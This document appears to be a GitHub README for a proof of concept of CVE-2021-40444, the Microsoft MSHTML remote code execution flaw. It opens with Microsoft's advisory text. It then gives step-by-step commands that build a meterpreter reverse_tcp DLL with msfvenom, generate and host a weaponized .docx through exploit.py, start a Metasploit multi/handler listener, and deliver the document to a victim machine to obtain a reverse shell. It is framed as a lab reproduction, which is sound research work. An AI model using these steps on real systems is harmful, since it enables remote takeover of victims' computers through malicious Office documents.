CVE-2021-40444 PoC — Microsoft MSHTML Remote Code Execution Vulnerability

Title:Microsoft MSHTML Remote Code Execution Vulnerability (CVE-2021-40444)
Description:<p>Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.</p> <p>An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.</p> <p>Microsoft Defender Antivirus and Microsoft Defender for Endpoint both provide detection and protections for the known vulnerability. Customers should keep antimalware products up to date. Customers who utilize automatic updates do not need to take additional action. Enterprise customers who manage updates should select the detection build 1.349.22.0 or newer and deploy it across their environments. Microsoft Defender for Endpoint alerts will be displayed as: “Suspicious Cpl File Execution”.</p> <p>Upon completion of this investigation, Microsoft will take the appropriate action to help protect our customers. This may include providing a security update through our monthly release process or providing an out-of-cycle security update, depending on customer needs.</p> <p>Please see the <strong>Mitigations</strong> and <strong>Workaround</strong> sections for important information about steps you can take to protect your system from this vulnerability.</p> <p><strong>UPDATE</strong> September 14, 2021: Microsoft has released security updates to address this vulnerability. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. Please see the FAQ for important information about which updates are applicable to your system.</p>

An attempt to reproduce Microsoft MSHTML Remote Code Execution (RCE) Vulnerability and using Metasploit Framework.

# CVE-2021-40444-POC
An attempt to reproduce Microsoft MSHTML Remote Code Execution (RCE) Vulnerability using Metasploit Framework.

*works best if not run in FlareVM*

### PREPARATION
Git Clone the repository from https://github.com/lockedbyte/CVE-2021-40444

Prepare the `.dll` template to be used later with `msfvenom`

`msfvenom -p windows/meterpreter/reverse_tcp lhost=<SOURCE_IP> lport=<LISTENING_PORT> -f dll -o template.dll`

Copy the recently produced `template.dll` into the folder `test/` from the repository
Give executable permission to the `template.dll` by `chmod +x template.dll`

Run the script to use the `template.dll` to be process into `output`
`python3 exploit.py generate ~/test/template.dll http://<SOURCE IP>`

### LISTENER
The document will then be exported into the folder `out/` and we can make a listener in our HTTP Port (Default is 80)
`python3 exploit.py host 80`

Run metasploit with
`msfconsole -q`
`use multi/handler`
`set payload windows/meterpreter/reverse_tcp`
`set lhost <SOURCE IP>`
`run`

### PAYLOAD
Then we can send the `document.docx` to our vulnerable machine and execute the .docx

We will get response in the `exploit.py` terminal and also the lab is successful if we are able to spawn reverse tcp shell.

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└── [1.2K]  README.md

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